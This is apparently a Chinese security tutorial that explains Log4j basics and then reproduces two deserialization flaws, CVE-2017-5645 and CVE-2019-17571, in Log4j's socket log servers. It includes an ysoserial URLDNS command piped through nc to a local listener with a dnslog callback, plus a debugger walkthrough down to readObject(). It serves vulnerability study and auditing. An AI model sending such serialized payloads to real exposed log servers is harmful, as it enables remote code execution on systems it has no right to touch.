介绍
Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
简单来说,Log4j是一种非常流行的日志框架,最新版本是2.x;也是一个组件化设计的日志系统,它的架构大致如下:
log.info("User signed in.");││ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐├──>│ Appender │───>│ Filter │───>│ Layout │───>│ Console ││ └──────────┘ └──────────┘ └──────────┘ └──────────┘││ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐├──>│ Appender │───>│ Filter │───>│ Layout │───>│ File ││ └──────────┘ └──────────┘ └──────────┘ └──────────┘││ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐└──>│ Appender │───>│ Filter │───>│ Layout │───>│ Socket │└──────────┘ └──────────┘ └──────────┘ └──────────┘
当我们使用Log4j输出一条日志时,Log4j自动通过不同的Appender把同一条日志输出到不同的目的地。例如:
- console:输出到屏幕;
 - file:输出到文件;
 - socket:通过网络输出到远程计算机;
 - jdbc:输出到数据库
 
在输出日志的过程中,通过Filter来过滤哪些log需要被输出,哪些log不需要被输出。例如,仅输出ERROR级别的日志。
最后,通过Layout来格式化日志信息,例如,自动添加日期、时间、方法名称等信息。
基础使用
pom.xml
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.8.1</version></dependency>
log4j2.xml
我们把一个log4j2.xml的文件放到classpath下就可以让Log4j读取配置文件并按照我们的配置来输出日志。
<?xml version="1.0" encoding="UTF-8"?><!-- log4j2 配置文件 --><!-- 日志级别 trace<debug<info<warn<error<fatal --><configuration status="info"><!-- 自定义属性 --><Properties><!-- 日志格式(控制台) --><Property name="pattern1">[%-5p] %d %c - %m%n</Property><!-- 日志格式(文件) --><Property name="pattern2">=========================================%n 日志级别:%p%n 日志时间:%d%n 所属类名:%c%n 所属线程:%t%n 日志信息:%m%n</Property><!-- 日志文件路径 --><Property name="filePath">logs/myLog.log</Property></Properties><appenders><Console name="Console" target="SYSTEM_OUT"><PatternLayout pattern="${pattern1}"/></Console><RollingFile name="RollingFile" fileName="${filePath}"filePattern="logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz"><PatternLayout pattern="${pattern2}"/><SizeBasedTriggeringPolicy size="5 MB"/></RollingFile></appenders><loggers><root level="info"><appender-ref ref="Console"/><appender-ref ref="RollingFile"/></root></loggers></configuration>
Test.java
package org.example;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;import java.util.function.LongFunction;public class Test{public static void main( String[] args ){Logger logger = LogManager.getLogger(LongFunction.class);logger.trace("trace level");logger.debug("debug level");logger.info("info level");logger.warn("warn level");logger.error("error level");logger.fatal("fatal level");}}

CVE-2017-5645
简介
Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。在使用TCP/UDP 套接字接口监听获取序列化的日志事件时,存在反序列化漏洞。
环境准备
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.8.1</version></dependency><!-- https://mvnrepository.com/artifact/com.beust/jcommander --><dependency><groupId>com.beust</groupId><artifactId>jcommander</artifactId><version>1.48</version></dependency>
直接复现
环境启动
找到刚才下载的jar包,执行如下命令启动监听6666端口
java -cp log4j-core-2.8.1.jar:log4j-api-2.8.1.jar:jcommander-1.48.jar org.apache.logging.log4j.core.net.server.TcpSocketServer -p 6666

漏洞复现
使用ysoserial直接生成恶意的序列化数据,并发送给6666端口
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://jqi53t.dnslog.cn | nc 127.0.0.1 6666

使用URLDNS链,反序列化后查看DNSLOG,已经收到请求

DEBUG分析
编写启动代码,其实主要就是调用了org.apache.logging.log4j.core.net.server.TcpSocketServer.main(),和前面命令行启动一样
package org.example;import org.apache.logging.log4j.core.net.server.TcpSocketServer;public class Test {public static void main(String[] args) throws Exception {String[] arg = {"-p", "6666"};TcpSocketServer.main(arg);}}
分析一下整个过程,在main()那下断点,启动

跟进main()

BasicCommandLineArguments.parseCommandLine()不难猜出是解析参数的,跳过
经过一些判断,到了 createSerializedSocketServer()方法,看名字是创建序列化socket服务端,跟进去

发现创建了一个TcpSocketServer,并且调用LOGGER.exit()方法返回,LOGGER.exit的功能就是对日志做些操作,然后仍然返回传进来的对象,所以这里相当于就是返回了TcpSocketServer。
返回TcpSocketServer.clss的main()方法,调用了socketServer.startNewThread(),看名字是新建一个线程,跟进去

AbstractSocketServer类实现了Runnable接口,在启动新线程的时候,会自动调用run()方法;(不熟悉可以去看看Java多线程)
这里多线程的任务程序是this,而此时的this是TcpSocketServer,所以会调用TcpSocketServer.run()方法,看下对应的run()方法

可见里面调用了serverSocket.accept()方法,返回一个Socket,这个没啥影响,但此时已经开始监听我们设定的端口了
手动向该端口发送数据,触发后续流程
然后用clientSocket实例化SocketHandler

看下SocketHandler的构造函数,给this.inputStream赋值

而TcpSocketServer.this.logEventInput的类是ObjectInputStreamLogEventBridge,这里相当于调用了它的wrapStream方法

接收到数据后的整个流程,就是把socket连接传过来的数据流作为包装成ObjectInputStream,现在this.inputStream就是一个来自用户输入的ObjectInputStream流了。
回到TcpSocketServer的run方法

继续往下,执行了handler.start(),而handler是SocketHandler类的实例,这个类继承自Log4jThread,Log4jThread又继承自Thread类,所以他是一个自定义的线程类,自定义的线程类有个特点,那就是必须重写run方法,而且当调用自定义线程类的start()方法时,会自动调用它的run()方法

然后默认会进入到TcpSocketServer.this.logEventInput.logEvents这个方法,跟进

调用了readObject()进行反序列化,然后触发我们的恶意链,到此分析结束
总结:inputStream就是被封装成ObjectInputStream流的、我们通过tcp发送的数据。所以只要log4j的tcpsocketserver端口对外开放,且目标存在可利用的pop链,我们就可以通过tcp直接发送恶意的序列化payload实现RCE。
CVE-2019-17571
简介
https://logging.apache.org/log4j/1.2/
和上面的CVE差不多,只是触发点是SocketNode的run()方法,且这个地方需要的log4j的版本是1.2,感觉是为了凑CVE?

环境准备
<!-- https://mvnrepository.com/artifact/log4j/log4j --><dependency><groupId>log4j</groupId><artifactId>log4j</artifactId><version>1.2.17</version></dependency>
Debug分析
启动函数,有错误啥的可以不用管,不影响复现
package org.example;import org.apache.log4j.net.SocketServer;public class Test {public static void main(String[] args) {String[] arg = {"6666", "./", "./"};SocketServer.main(arg);}}
一样的,main下断点

跟进main,先初始化参数

然后一直到serverSocket.accept,开启监听

传入恶意的序列化数据

继续往下,先实例化SocketNode,然后实例化Thread,最后调用start

跟进SocketNode,发现会将我们传入的数据转换成ObjectInputStream类,并赋值给变量ois

然后返回main方法中,发现调用了start()方法,根据多线程,调用start()方法其实就是调用了对应类的run()方法,这里其实就是调用的SocketNode.run()

跟进SocketNode.run(),发现this.ois调用了方法readObject(),至此反序列化完成

查看dnslog日志,成功触发

其他
log4j是一个日志组件,在用log4j搭建日志服务器集中管理日志的时候会用到socketserver这种机制,试了一下用nmap识别不出服务,所以还是以审计发现该漏洞为主吧。
